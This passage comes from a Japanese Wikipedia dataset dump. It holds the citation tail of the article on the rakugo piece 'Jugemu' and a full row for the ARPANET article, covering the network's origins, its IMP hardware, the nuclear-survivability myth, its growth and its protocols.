* {{Cite AV media|title=寿限無|medium=レコード録音|author=二代目立花家花橘|authorlink=立花家花橘#2代目|year=1929|publisher=[[日本ビクター]]|id=50967, 50968|via=国会図書館デジタルコレクション}}
** 両面盤2枚組: [{{NDLDC|3580342}} (1)], [{{NDLDC|3580343}} (2)], [{{NDLDC|3580344}} (3)], [{{NDLDC|3580345}} (4)]
** 同筆記 {{Cite book|和書|title=ビクター文句集(日本曲)|publisher=声の写真社出版部|year=1930 |month=5 |pages=651-656|author=立花家花橘|author-link=立花家花橘|NCID=BB05019765|chapter=寿限無(50967,50968)|location=東京|doi=10.11501/1112587|id={{NDLJP|1112587}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1112587/345|url-access=registration}}{{要登録}}
* {{Cite web|和書|url=https://www2.nhk.or.jp/school/watch/bangumi/?das_id=D0005150091_00000 |title=落語「じゅげむ」 |format=動画 |access-date=2022-06-24 |publisher=NHK |author=柳家花緑 |authorlink=柳家花緑 |website=NHK for school |work=[[おはなしのくにクラシック]]}}
{{古典落語の演目}}
{{Normdaten}}
{{DEFAULTSORT:しゆけむ}}
[[Category:落語の演目]]
[[Category:日本の言葉遊び]] | 2003-04-16T01:22:51Z | 2023-12-25T03:26:22Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E5%AF%BF%E9%99%90%E7%84%A1 |
6,789 | ARPANET | ARPANET(アーパネット、Advanced Research Projects Agency NETwork、高等研究計画局ネットワーク)は、世界で初めて運用されたパケット通信コンピュータネットワークであり、インターネットの起源でもある。アメリカ国防総省の高等研究計画局(略称ARPA、後にDARPA)が資金を提供し、いくつかの大学と研究機関でプロジェクトが行われた。ARPANETのパケット交換はイギリスの科学者ドナルド・デービスとリンカーン研究所のローレンス・ロバーツの設計に基づいていた。
パケット交換は今日データ通信の基盤として世界中で使われているが、ARPANETの構想が持ち上がった当時は新しい概念だった。パケット交換が登場する以前、音声通信やデータ通信は回線交換が基本であり、電話の回線網のように電話をかけるたびに通信局から通信局まで専用の電気的接続がなされていた。この場合の通信局は電話やコンピュータである。この(一時的な)専用回線は多数の中継局間の回線から構成されており、発信局から受信局までを結ぶようになっている。パケット交換では、データシステムは単一の通信リンクを使って複数のマシンと通信する。データはデータグラムに分割され、パケットとしてそのネットワークのリンク上を転送される。パケットは小さいので、リンクはすぐに空き状態となり、別のパケットを転送可能となる。そのため、郵便ポストが様々な宛先の手紙を出すのに使えるようにリンクを共有できるだけでなく、各パケットはそれぞれ独自の経路で転送される。
ARPANETに直接影響を及ぼしたコンピュータネットワークの概念の提唱を行ったのはBBNテクノロジーズのJ・C・R・リックライダーによるタイムシェアリングシステムによるネットワークである。リックライダーの1960年の論文、「人間とコンピュータの共生」の中で早くもリソースを共有するためのタイムシェアリングシステムのネットワークの可能性について言及している箇所が見られる。又リックライダーがARPAのIPTO部長に就任した後の1963年にIPTOの助成機関宛に送ったメモランダム「銀河間コンピュータネットワークメモランダム」の中ではIPTOの将来的な目標として相互の研究内容の情報を共有するためにコンピュータネットワークを構築することの提案を行っている。これには現在のインターネットを構成するほとんど全てのアイデアが含まれていた。リックライダーは計画が実施される前にARPAを去ったが、その構想はアイバン・サザランド、ロバート・テイラーといったIPTOに入社した彼の後継者達によって受け継がれる事になった。
サザランドとテイラーはそのようなコンピュータネットワークを構築することに関心を持ち続け、ARPAが資金提供しているアメリカ各地の様々な企業や大学の研究者たちがARPAの資金で開発されたコンピュータ群にアクセスできるようにし、ソフトウェアなどの計算機科学の成果を素早く広めたいと考えていた。テイラーのオフィスには3つのコンピュータ端末があり、それぞれ別々の(ARPAが資金提供した)コンピュータに接続されていた。1つはサンタモニカの System Development Corporation (SDC) にあるAN/FSQ-32、2つめはカリフォルニア大学バークレー校のProject GENIE、3つめはMITのMulticsである。これについてテイラーは後に次のように回想している。
「この3台の端末はそれぞれユーザーコマンド群が異なっていた。だから私が S.D.C. の誰かとオンラインで話をしていて、バークレーあるいはMITの誰かと話したいとき、S.D.C. との端末から離れて、別の端末にログインして連絡する必要があった。(中略)何をするのかは明らかだが、私はそんなことをしたくない。インタラクティブ・コンピューティングが可能なら、1つの端末でどこにでも接続できるべきだ。このアイデアが ARPANET だ」
1964年にリックライダーがIPTOの部長を退いた後、彼の役職を継いだサザランドはリックライダーが提唱したコンピュータネットワークの実験を行ってみる事にした。1965年にUCLAの2つのコンピュータをネットワークで接続してみる事になったが、この実験は通信方式に問題があったために失敗した。
1966年にサザランドの次にIPTO部長に就任したテイラーは更に一歩進めて本格的なコンピューターネットワークを構築しようと試み、ARPA本体から予算を取り付けた。ただしテイラーはリックライダーと同じ音響心理学者でコンピュータ工学のエンジニアではなかった。このためネットワークを実際に構築できる技術者を必要としていた。こうしてマサチューセッツ工科大学のリンカーン研究所から半ば脅される形でIPTOにリクルートされてきたのがローレンス・ロバーツである。ロバーツは1967年にこれまでリックライダーやサザランド、タイラーが概念として述べてきた事を「指示書」のような形でまとめた。これが"Multiple Computer Network and Intercomputer Communication"である。この「指示書」の中ではARPANETの基本的な「仕様」が以下のように示されている。
タイムシェアリングシステム本体にコミュニケーションの管理を行わせる事に対してはコンピュータの管理者から否定的な意見が出されていた。このためロバーツはリンカーン研究所のウェズリー・クラーク(英語版)の助言を受け入れタイムシェアリングシステムにコミュニケーションの管理を専門に行わせる小さいコンピュータを接続させることにした。この結果開発されたのが、現在のルーターの前身ともいえるInterface Message Processor(IMP)である。
1968年中ごろまでにテイラーはコンピュータネットワークの計画を完成させ、ARPAの承認を得た。そして、契約者となる可能性のある140の組織などに見積依頼を送った。多くのコンピュータ企業はARPAとテイラーの提案を絵空事だとみなして考慮せず、送り返されてきたネットワーク構築の見積もりは12だけだった。ARPAはそこから4社を契約候補に選んだ。同年末には2社に絞り込み、最終的に1969年4月7日、BBNテクノロジーズとネットワーク構築の請負契約を結んだ。BBNでは当初7人のチームを結成しフランク・ハートが指揮した。ARPAの見積依頼は技術的にも詳細で、チームはすぐさまネットワーク接続用のコンピュータを構築できた。BBNの提案したネットワークはARPAの計画に沿ったもので、IMPという小型コンピュータでネットワークを形成してIMPをゲートウェイ(今日のルーター)として機能させ、ローカルなリソースと相互接続するというものだった。各サイトではIMPがストアアンドフォワード型のパケット交換機として機能し、IMP同士はモデムを介して専用線(当初50kbit/s)で相互接続した。ホストコンピュータとIMPは独自のシリアル通信インタフェースで接続された。このシステムのハードウェアとパケット交換ソフトウェアは、9カ月で設計・構築された。
第一世代のIMPはBBNがハネウェルのDDP-516というコンピュータをベースとして構築した。主記憶(磁気コアメモリ)は24キロバイト(拡張可能)で、16チャネルの Direct Multiplex Control (DMC) というDMAユニットを備えていた。DMCはホストコンピュータやモデムとのインタフェースに使われた。フロントパネルのランプ群に加えて、DDP-516にはIMPの通信チャネルの状態を示す24個の表示ランプがある。IMPは最大4台のホストコンピュータを接続でき、最大6台のIMPと専用線で相互接続できる。パケット転送の機構はストアアンドフォワード型として設計された。また、各ルータは2秒毎に経路情報を送信し、最小のトランジットタイムを持つ経路を評価すると共に、0.5秒毎に経路表を各送信先までのトランジットタイムを最小にするように更新する、動的なルーティング・アルゴリズムも実装された。このアルゴリズムは以前にポール・バランが考案していたものであった。
ほぼ同じころ、他の人々も(それぞれ独自に)「パケット交換」について研究を行っており、まず1968年8月5日にイギリス国立物理学研究所 (NPL) が公開デモンストレーションを行った。
ARPANETは核攻撃にも耐えるよう設計されたネットワークだ、という言い伝えが広まっているが、インターネット協会は否定している。その方式が1960年代前半にアメリカ空軍のシンクタンクであるランド研究所のポール・バランによって提唱された核攻撃下でも生き残れるコミュニケーション方式であるという点を持ち上げて冷戦構造全体の中で技術としての「インターネット」を議論するべきなのか、それともロバーツの言うとおりパケット通信はバランの研究とは全く関係の無いイギリス国立物理学研究所のドナルド・デービスの研究成果を反映したもので「インターネット」の誕生は新しいコミュニケーションツールとしての側面から評価してよいという議論までかなりの幅が見られる。インターネット協会は A Brief History of the Internet の中でARPANETを生み出した技術的アイデアの融合について次のように記している。
ARPANETが核戦争に耐えられるネットワーク構築と何らかの関係があると主張する間違った噂が始まったのは、ランド研究所の研究からである。ランド研究所では核戦争を考慮した秘密音声通信を研究していたが、ARPANETはそれとは全く無関係である。しかし、後のインターネットワーキング作業の展開においては、ネットワークの大きな部分が失われてもインターネットワークが機能し続けるなど、その頑健性と生存可能性を強調したことがあるのも事実である。
一方で、ARPANETの開発のほとんどの請求書に署名を行なったDARPAの副局長 (1967-1971)・局長(1971-1974)のステファン・J・ルカシックは次のように述べている。
目的は新しいコンピュータ技術を利用して、核の脅威に対する軍事的指揮と制御のニーズを満たし、米国の核兵器の存続可能な制御を達成し、軍事戦術と管理の意思決定を改善することでした。
ARPANETは、ルーティングテーブルの分散計算や頻繁な再計算を組み込んだことでネットワークの存続可能性が向上したが、自動ルーティングは技術的に困難だった。また、下位ネットワークが失われても機能し続けるよう設計されているが、これは核攻撃を受けなかったとしても交換ノードとネットワークリンクの信頼性が低かったためである。ARPANET構築を促進させたリソース不足について、ARPA局長 (1965–1967) のチャールズ・ヘルツフェルトはつぎのように述べた。
ARPANETは核攻撃に耐える指揮統制システムを作るために始まったのではない。そのようなシステムの構築は明らかに軍にとって大きな要望ではあったが、それはARPAの任務ではなかった。実際、我々がそれを試みていれば、厳しく批判されただろう。むしろARPANETは、わが国にある大規模で強力な研究用コンピュータの数が限られていて、それらを使いたいと思っている研究者の多くは地理的に離れたところにいるという我々の欲求不満が出発点である。
ARPANETは、1990年までの20年間、軍によって運営された。
当時のIPTO責任者であったテイラーは、1994年7月にアメリカ・タイム誌で、「インターネットは核攻撃下でのコミュニケーションの生き残りを想定して開発された」という記事が掲載されたときに事実とは異なる旨、正式な抗議をタイム誌に対して行っている。
パケット通信の先駆者ポール・バランは次のように述べている。
テイラーはそれぞれ異なるマシンに接続したいくつかの端末を持っていた。彼が考え付いたのは、1つの端末がそれらコンピュータのどれとも接続できるネットワークを構築することだった。それがARPANETの本当の起源だ。当時、そういった相互接続の方法は未解決の問題だった。
村井純は、「ARPANETは軍事用に開発され、それが民間に転用された」という説に関し、「ARPA基金の方針が非主流非軍事だが将来性を求め、軍事直結の基金は国防総省と区別がある」、「アメリカ軍は湾岸戦争のとき、様々な通信技術を運用した結果、TCP/IP技術の高い有用性を初めて認識した」とコメントし、さらに「中東派遣軍総司令官のノーマン・シュワルツコフは技術を『禁輸にすべきだ』とまで言い出した」というエピソードとともに、次のように答えている。
ARPANETが最初から軍の独占技術だったとしたら、こんなことをする必要はまったくなかったでしょう。それどころか、すべてが軍の機密情報として扱われ、インターネットはそれこそ誰も知らないものになっていたはずです。
ARPANETは、次の4カ所のIMPを相互接続する形で始まった。
発足当初のメンバーには以後のネットワークの歴史や文化に大きな影響を与えることになるジョン・ポステルやヴィント・サーフが含まれていた。
ARPANET上で最初に送信されたメッセージは、UCLAの学生プログラマであるチャーリー・クラインが送ったものである。1969年10月29日午後10:30、UCLAの Boelter Hall 3420号室からのことだった。クラインは同大学のSDS Sigma 7からスタンフォード研究所のSDS 940へとメッセージを送った。その内容は "login:" というテキストだったが、"lo" まで送信したところでシステムがクラッシュした。したがってARPANET初のメッセージは実際には "lo" である。これは1文字ずつ送信元から送信先に対して電話確認を行いながらの送信であった。約1時間後クラッシュから復旧させ、当初のテキストメッセージ全体の送信を成功させた。ARPANETの恒久的リンクが確立したのは1969年11月21日のことで、UCLAとスタンフォード研究所のIMP間のことである。1969年12月5日には、4ノード相互のネットワークが完成した。
1970年3月、マサチューセッツ州ケンブリッジにあるBBNにあるIMPが接続され、ARPANETはアメリカ東海岸にまで広がった。その後、1970年6月にはIMPが9台、1970年12月には13台、1971年9月には18台(この時点で接続ホスト数は大学や政府機関を含めて23台)、1972年8月には29台1973年9月には40台となった。1974年6月にはIMPが46台となり、1975年7月には57台のIMPが相互接続された。1981年までに213台のホストコンピュータが接続され、およそ20日に1台の割合で新たなホストが接続されるという状況になった。
1973年、NORSAR (Norwegian Seismic Array)が人工衛星の通信リンクでARPANETと接続され、ノルウェーはアメリカ以外で初めてARPANETと接続した国となった。また、同時期にロンドンのIMPも地上回線で接続されている。
1975年、ARPANETは稼働状態にあると宣言された。本来、高度な研究への出資が仕事であるARPAはこの時点で手を引き、アメリカ国防情報システム局が運営を引き継いだ。
1980年、ARPANET初の負荷適応型のリンクステート型ルーティングアルゴリズムであるBBN ARPANETルーティングアルゴリズムがBBN社から提案され、実験が開始された。このアルゴリズムは実験開始直後に激しいルートフラッピングを起こし、負荷適応型ルーティングアルゴリズムの実運用が困難であることが世界で初めて知られるようになった。
1981年、日本で初めてのARPANETとの接続は東北大学がALOHAnetに参加し、これを経由して接続されたのが最初であった。これは米国本土までの距離に比較して、地理的にも近いハワイまでの専用線の料金が、より安価に済んだことも理由である。
1983年、ARPANETのアメリカ軍関係部分を分離して、機密には分類されない軍事関係の通信を担うMILNETとした。その後これを包含する形で Defense Data Network (DDN) として発展。軍関連が分離したことで113ノードあったARPANETは68ノードに縮小している。MILNETは後にNIPRNetとなった。
政府とのつながりのため、ある種のトラフィックは抑制または禁止されていた。MIT人工知能研究所で発行された1982年のコンピューティングについてのハンドブックでは、ネットワークでのエチケットについて次のように記している。
1970年にはIMP間の回線として 230.4 kbit/s までをサポートしたが、コストとIMPの処理能力を考えれば、そこまでの通信容量を使い切ることはなかった。
1971年には、堅牢化をしない(そのため非常に軽量な)Honeywell 316 を使ったIMPが登場した。これは端末サーバ Terminal Interface Processor (TIP) としても構成でき、ホストと最大63台のASCIIシリアル端末を接続できた。316は516より集積化が進んでおり、安価で保守が容易だった。TIPとしての316は40kBの磁気コアメモリを搭載していた。メモリ容量は1973年に拡大され、IMP用には32kB、TIP用には56kBを搭載した。1981年、BBNは自社製のC/30というコンピュータ上で動作するIMPソフトウェアを導入した。
1983年、資金提供を行っていた国防省側の方針で、NCPをTCP/IPに切り換えることになり、ARPANETは初期のインターネットのサブネットとなった。これが今日のインターネットにおけるTCP/IPの使用にとって決定的な条件のひとつを作ったと考えられている。
NSFNetの拡大にともなってARPANETは縮小していき、IMPやTIPも消えていったが、一部のIMPは1989年までサービスを継続した。
BBNとARPAが共同で出版した ARPANET Completion Report では、次のように結論付けている。
最後にふさわしい言葉として次のように述べたい。ARPANET計画はそのネットワーク自体から湧き出るように計算機科学の発展と強化に資する強く直接的なフィードバックをもたらした。
1990年2月28日にARPANETが正式に退役した後、ヴィントン・サーフは「ARPANETの挽歌」(Requiem of the ARPANET) と題して、次のように哀悼の意を表した。
It was the first, and being first, was best, but now we lay it down to ever rest. Now pause with me a moment, shed some tears. For auld lang syne, for love, for years and years of faithful service, duty done, I weep. Lay down thy packet, now, O friend, and sleep.
これは最初(の技術)であり、そして最初であるがゆえに、最高のものでした。 しかし、今、私達をそれを置き、永遠の眠りにつかせようとしています。 さあ、黙祷を捧げ、涙を流しましょう。 オールド・ラング・サインのために、愛のために、何年も、何年もの間、 (果たされた)その信頼のおける奉仕、そして果たされた義務のため、私は涙を流します。 なんじのパケットを置き、今こそ、ああ友よ、そして眠れ。
1988年、UCLAの計算機科学教授レナード・クラインロックを議長とする委員会の国会への報告を受け、上院議員アル・ゴアは High Performance Computing and Communication Act of 1991 という法案を作成。この法案が1991年12月9日に可決され、National Information Infrastructure (NII) が生まれ、これをアル・ゴアが「情報スーパーハイウェイ」と呼んだ。2009年、IEEEマイルストーンにARPANET関連で2件が選ばれた。
1969年に始まったARPANETでのホスト間通信プロトコルは、1822 protocol であり、IMPへのメッセージ転送を定義したものである。そのメッセージ形式は様々なコンピュータアーキテクチャにおいても曖昧さが生じないよう設計された。1822メッセージは、メッセージ種別、数値によるホストアドレス、データフィールドで構成される。データメッセージを他のホストに送信するには、送信側でデータの中身と宛先ホストのアドレスからメッセージをフォーマットし、1822ハードウェアインタフェースを通してそれを送信する。IMPはメッセージにある宛先アドレスに従って、IMP間でメッセージを転送したり、宛先ホストに配達したりする。最終的に宛先ホストにメッセージを配達したIMPは、Ready for Next Message (RFNM) を送信元のIMPに向けて肯定応答として送信する。
現代のインターネットのデータグラムとは異なり、ARPANETは信頼性を持って1822メッセージを転送するよう設計されており、メッセージを喪失した場合はホストコンピュータにそれを通知するようになっていた。一方IPは信頼できないプロトコルであり、その上のTCPが信頼性を担っている。それにもかかわらず、1822プロトコルは1つのホストコンピュータ内に複数の異なるアプリケーションがあって、複数のコネクションを扱おうとしたときにうまく処理できないことが判明した。これに対処したのが Network Control Program (NCP) で、各種ホストコンピュータの各種プロセス間で、信頼できフロー制御された双方向通信リンクを確立する標準手段を提供した。NCPインタフェースはアプリケーションソフトウェアがARPANET経由で接続することを可能にしており、上位層の通信プロトコルを実装したものといえる。OSI参照モデルのようなプロトコルの階層化の初期の例である。
1983年、TCP/IPがNCPおよび1822プロトコルに取って代わった。
NCPが標準のネットワークサービスを提供したことで、単一のホストコンピュータ上で複数アプリケーションが動作可能になった。これにより、その上でアプリケーション層のプロトコルが下層とはある程度独立に動作できるようになり、各種応用が生まれることにつながった。1983年にARPANETがインターネットに移行した際、主なアプリケーションプロトコルもTCP/IP上に移植された。 | [
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"text": "ARPANET(アーパネット、Advanced Research Projects Agency NETwork、高等研究計画局ネットワーク)は、世界で初めて運用されたパケット通信コンピュータネットワークであり、インターネットの起源でもある。アメリカ国防総省の高等研究計画局(略称ARPA、後にDARPA)が資金を提供し、いくつかの大学と研究機関でプロジェクトが行われた。ARPANETのパケット交換はイギリスの科学者ドナルド・デービスとリンカーン研究所のローレンス・ロバーツの設計に基づいていた。",
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"text": "パケット交換は今日データ通信の基盤として世界中で使われているが、ARPANETの構想が持ち上がった当時は新しい概念だった。パケット交換が登場する以前、音声通信やデータ通信は回線交換が基本であり、電話の回線網のように電話をかけるたびに通信局から通信局まで専用の電気的接続がなされていた。この場合の通信局は電話やコンピュータである。この(一時的な)専用回線は多数の中継局間の回線から構成されており、発信局から受信局までを結ぶようになっている。パケット交換では、データシステムは単一の通信リンクを使って複数のマシンと通信する。データはデータグラムに分割され、パケットとしてそのネットワークのリンク上を転送される。パケットは小さいので、リンクはすぐに空き状態となり、別のパケットを転送可能となる。そのため、郵便ポストが様々な宛先の手紙を出すのに使えるようにリンクを共有できるだけでなく、各パケットはそれぞれ独自の経路で転送される。",
"title": "歴史"
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"text": "ARPANETに直接影響を及ぼしたコンピュータネットワークの概念の提唱を行ったのはBBNテクノロジーズのJ・C・R・リックライダーによるタイムシェアリングシステムによるネットワークである。リックライダーの1960年の論文、「人間とコンピュータの共生」の中で早くもリソースを共有するためのタイムシェアリングシステムのネットワークの可能性について言及している箇所が見られる。又リックライダーがARPAのIPTO部長に就任した後の1963年にIPTOの助成機関宛に送ったメモランダム「銀河間コンピュータネットワークメモランダム」の中ではIPTOの将来的な目標として相互の研究内容の情報を共有するためにコンピュータネットワークを構築することの提案を行っている。これには現在のインターネットを構成するほとんど全てのアイデアが含まれていた。リックライダーは計画が実施される前にARPAを去ったが、その構想はアイバン・サザランド、ロバート・テイラーといったIPTOに入社した彼の後継者達によって受け継がれる事になった。",
"title": "歴史"
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"text": "サザランドとテイラーはそのようなコンピュータネットワークを構築することに関心を持ち続け、ARPAが資金提供しているアメリカ各地の様々な企業や大学の研究者たちがARPAの資金で開発されたコンピュータ群にアクセスできるようにし、ソフトウェアなどの計算機科学の成果を素早く広めたいと考えていた。テイラーのオフィスには3つのコンピュータ端末があり、それぞれ別々の(ARPAが資金提供した)コンピュータに接続されていた。1つはサンタモニカの System Development Corporation (SDC) にあるAN/FSQ-32、2つめはカリフォルニア大学バークレー校のProject GENIE、3つめはMITのMulticsである。これについてテイラーは後に次のように回想している。",
"title": "歴史"
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"text": "「この3台の端末はそれぞれユーザーコマンド群が異なっていた。だから私が S.D.C. の誰かとオンラインで話をしていて、バークレーあるいはMITの誰かと話したいとき、S.D.C. との端末から離れて、別の端末にログインして連絡する必要があった。(中略)何をするのかは明らかだが、私はそんなことをしたくない。インタラクティブ・コンピューティングが可能なら、1つの端末でどこにでも接続できるべきだ。このアイデアが ARPANET だ」",
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"text": "1964年にリックライダーがIPTOの部長を退いた後、彼の役職を継いだサザランドはリックライダーが提唱したコンピュータネットワークの実験を行ってみる事にした。1965年にUCLAの2つのコンピュータをネットワークで接続してみる事になったが、この実験は通信方式に問題があったために失敗した。",
"title": "歴史"
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"text": "1966年にサザランドの次にIPTO部長に就任したテイラーは更に一歩進めて本格的なコンピューターネットワークを構築しようと試み、ARPA本体から予算を取り付けた。ただしテイラーはリックライダーと同じ音響心理学者でコンピュータ工学のエンジニアではなかった。このためネットワークを実際に構築できる技術者を必要としていた。こうしてマサチューセッツ工科大学のリンカーン研究所から半ば脅される形でIPTOにリクルートされてきたのがローレンス・ロバーツである。ロバーツは1967年にこれまでリックライダーやサザランド、タイラーが概念として述べてきた事を「指示書」のような形でまとめた。これが\"Multiple Computer Network and Intercomputer Communication\"である。この「指示書」の中ではARPANETの基本的な「仕様」が以下のように示されている。",
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"text": "タイムシェアリングシステム本体にコミュニケーションの管理を行わせる事に対してはコンピュータの管理者から否定的な意見が出されていた。このためロバーツはリンカーン研究所のウェズリー・クラーク(英語版)の助言を受け入れタイムシェアリングシステムにコミュニケーションの管理を専門に行わせる小さいコンピュータを接続させることにした。この結果開発されたのが、現在のルーターの前身ともいえるInterface Message Processor(IMP)である。",
"title": "歴史"
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"text": "1968年中ごろまでにテイラーはコンピュータネットワークの計画を完成させ、ARPAの承認を得た。そして、契約者となる可能性のある140の組織などに見積依頼を送った。多くのコンピュータ企業はARPAとテイラーの提案を絵空事だとみなして考慮せず、送り返されてきたネットワーク構築の見積もりは12だけだった。ARPAはそこから4社を契約候補に選んだ。同年末には2社に絞り込み、最終的に1969年4月7日、BBNテクノロジーズとネットワーク構築の請負契約を結んだ。BBNでは当初7人のチームを結成しフランク・ハートが指揮した。ARPAの見積依頼は技術的にも詳細で、チームはすぐさまネットワーク接続用のコンピュータを構築できた。BBNの提案したネットワークはARPAの計画に沿ったもので、IMPという小型コンピュータでネットワークを形成してIMPをゲートウェイ(今日のルーター)として機能させ、ローカルなリソースと相互接続するというものだった。各サイトではIMPがストアアンドフォワード型のパケット交換機として機能し、IMP同士はモデムを介して専用線(当初50kbit/s)で相互接続した。ホストコンピュータとIMPは独自のシリアル通信インタフェースで接続された。このシステムのハードウェアとパケット交換ソフトウェアは、9カ月で設計・構築された。",
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"text": "第一世代のIMPはBBNがハネウェルのDDP-516というコンピュータをベースとして構築した。主記憶(磁気コアメモリ)は24キロバイト(拡張可能)で、16チャネルの Direct Multiplex Control (DMC) というDMAユニットを備えていた。DMCはホストコンピュータやモデムとのインタフェースに使われた。フロントパネルのランプ群に加えて、DDP-516にはIMPの通信チャネルの状態を示す24個の表示ランプがある。IMPは最大4台のホストコンピュータを接続でき、最大6台のIMPと専用線で相互接続できる。パケット転送の機構はストアアンドフォワード型として設計された。また、各ルータは2秒毎に経路情報を送信し、最小のトランジットタイムを持つ経路を評価すると共に、0.5秒毎に経路表を各送信先までのトランジットタイムを最小にするように更新する、動的なルーティング・アルゴリズムも実装された。このアルゴリズムは以前にポール・バランが考案していたものであった。",
"title": "歴史"
},
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"text": "ほぼ同じころ、他の人々も(それぞれ独自に)「パケット交換」について研究を行っており、まず1968年8月5日にイギリス国立物理学研究所 (NPL) が公開デモンストレーションを行った。",
"title": "歴史"
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"text": "ARPANETは核攻撃にも耐えるよう設計されたネットワークだ、という言い伝えが広まっているが、インターネット協会は否定している。その方式が1960年代前半にアメリカ空軍のシンクタンクであるランド研究所のポール・バランによって提唱された核攻撃下でも生き残れるコミュニケーション方式であるという点を持ち上げて冷戦構造全体の中で技術としての「インターネット」を議論するべきなのか、それともロバーツの言うとおりパケット通信はバランの研究とは全く関係の無いイギリス国立物理学研究所のドナルド・デービスの研究成果を反映したもので「インターネット」の誕生は新しいコミュニケーションツールとしての側面から評価してよいという議論までかなりの幅が見られる。インターネット協会は A Brief History of the Internet の中でARPANETを生み出した技術的アイデアの融合について次のように記している。",
"title": "歴史"
},
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"text": "ARPANETが核戦争に耐えられるネットワーク構築と何らかの関係があると主張する間違った噂が始まったのは、ランド研究所の研究からである。ランド研究所では核戦争を考慮した秘密音声通信を研究していたが、ARPANETはそれとは全く無関係である。しかし、後のインターネットワーキング作業の展開においては、ネットワークの大きな部分が失われてもインターネットワークが機能し続けるなど、その頑健性と生存可能性を強調したことがあるのも事実である。",
"title": "歴史"
},
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"text": "一方で、ARPANETの開発のほとんどの請求書に署名を行なったDARPAの副局長 (1967-1971)・局長(1971-1974)のステファン・J・ルカシックは次のように述べている。",
"title": "歴史"
},
{
"paragraph_id": 14,
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"text": "目的は新しいコンピュータ技術を利用して、核の脅威に対する軍事的指揮と制御のニーズを満たし、米国の核兵器の存続可能な制御を達成し、軍事戦術と管理の意思決定を改善することでした。",
"title": "歴史"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "ARPANETは、ルーティングテーブルの分散計算や頻繁な再計算を組み込んだことでネットワークの存続可能性が向上したが、自動ルーティングは技術的に困難だった。また、下位ネットワークが失われても機能し続けるよう設計されているが、これは核攻撃を受けなかったとしても交換ノードとネットワークリンクの信頼性が低かったためである。ARPANET構築を促進させたリソース不足について、ARPA局長 (1965–1967) のチャールズ・ヘルツフェルトはつぎのように述べた。",
"title": "歴史"
},
{
"paragraph_id": 16,
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"text": "ARPANETは核攻撃に耐える指揮統制システムを作るために始まったのではない。そのようなシステムの構築は明らかに軍にとって大きな要望ではあったが、それはARPAの任務ではなかった。実際、我々がそれを試みていれば、厳しく批判されただろう。むしろARPANETは、わが国にある大規模で強力な研究用コンピュータの数が限られていて、それらを使いたいと思っている研究者の多くは地理的に離れたところにいるという我々の欲求不満が出発点である。",
"title": "歴史"
},
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"text": "ARPANETは、1990年までの20年間、軍によって運営された。",
"title": "歴史"
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"text": "当時のIPTO責任者であったテイラーは、1994年7月にアメリカ・タイム誌で、「インターネットは核攻撃下でのコミュニケーションの生き残りを想定して開発された」という記事が掲載されたときに事実とは異なる旨、正式な抗議をタイム誌に対して行っている。",
"title": "歴史"
},
{
"paragraph_id": 19,
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"text": "パケット通信の先駆者ポール・バランは次のように述べている。",
"title": "歴史"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "テイラーはそれぞれ異なるマシンに接続したいくつかの端末を持っていた。彼が考え付いたのは、1つの端末がそれらコンピュータのどれとも接続できるネットワークを構築することだった。それがARPANETの本当の起源だ。当時、そういった相互接続の方法は未解決の問題だった。",
"title": "歴史"
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{
"paragraph_id": 21,
"tag": "p",
"text": "村井純は、「ARPANETは軍事用に開発され、それが民間に転用された」という説に関し、「ARPA基金の方針が非主流非軍事だが将来性を求め、軍事直結の基金は国防総省と区別がある」、「アメリカ軍は湾岸戦争のとき、様々な通信技術を運用した結果、TCP/IP技術の高い有用性を初めて認識した」とコメントし、さらに「中東派遣軍総司令官のノーマン・シュワルツコフは技術を『禁輸にすべきだ』とまで言い出した」というエピソードとともに、次のように答えている。",
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"text": "ARPANETが最初から軍の独占技術だったとしたら、こんなことをする必要はまったくなかったでしょう。それどころか、すべてが軍の機密情報として扱われ、インターネットはそれこそ誰も知らないものになっていたはずです。",
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"text": "ARPANETは、次の4カ所のIMPを相互接続する形で始まった。",
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"text": "発足当初のメンバーには以後のネットワークの歴史や文化に大きな影響を与えることになるジョン・ポステルやヴィント・サーフが含まれていた。",
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"text": "1969年に始まったARPANETでのホスト間通信プロトコルは、1822 protocol であり、IMPへのメッセージ転送を定義したものである。そのメッセージ形式は様々なコンピュータアーキテクチャにおいても曖昧さが生じないよう設計された。1822メッセージは、メッセージ種別、数値によるホストアドレス、データフィールドで構成される。データメッセージを他のホストに送信するには、送信側でデータの中身と宛先ホストのアドレスからメッセージをフォーマットし、1822ハードウェアインタフェースを通してそれを送信する。IMPはメッセージにある宛先アドレスに従って、IMP間でメッセージを転送したり、宛先ホストに配達したりする。最終的に宛先ホストにメッセージを配達したIMPは、Ready for Next Message (RFNM) を送信元のIMPに向けて肯定応答として送信する。",
"title": "ソフトウェアとプロトコル"
},
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"paragraph_id": 44,
"tag": "p",
"text": "現代のインターネットのデータグラムとは異なり、ARPANETは信頼性を持って1822メッセージを転送するよう設計されており、メッセージを喪失した場合はホストコンピュータにそれを通知するようになっていた。一方IPは信頼できないプロトコルであり、その上のTCPが信頼性を担っている。それにもかかわらず、1822プロトコルは1つのホストコンピュータ内に複数の異なるアプリケーションがあって、複数のコネクションを扱おうとしたときにうまく処理できないことが判明した。これに対処したのが Network Control Program (NCP) で、各種ホストコンピュータの各種プロセス間で、信頼できフロー制御された双方向通信リンクを確立する標準手段を提供した。NCPインタフェースはアプリケーションソフトウェアがARPANET経由で接続することを可能にしており、上位層の通信プロトコルを実装したものといえる。OSI参照モデルのようなプロトコルの階層化の初期の例である。",
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"text": "1983年、TCP/IPがNCPおよび1822プロトコルに取って代わった。",
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"text": "NCPが標準のネットワークサービスを提供したことで、単一のホストコンピュータ上で複数アプリケーションが動作可能になった。これにより、その上でアプリケーション層のプロトコルが下層とはある程度独立に動作できるようになり、各種応用が生まれることにつながった。1983年にARPANETがインターネットに移行した際、主なアプリケーションプロトコルもTCP/IP上に移植された。",
"title": "ソフトウェアとプロトコル"
}
]
| ARPANETは、世界で初めて運用されたパケット通信コンピュータネットワークであり、インターネットの起源でもある。アメリカ国防総省の高等研究計画局(略称ARPA、後にDARPA)が資金を提供し、いくつかの大学と研究機関でプロジェクトが行われた。ARPANETのパケット交換はイギリスの科学者ドナルド・デービスとリンカーン研究所のローレンス・ロバーツの設計に基づいていた。 | [[File:Arpanet logical map, march 1977.png|thumb|300px|1977年3月時点のARPANETの論理マップ]]
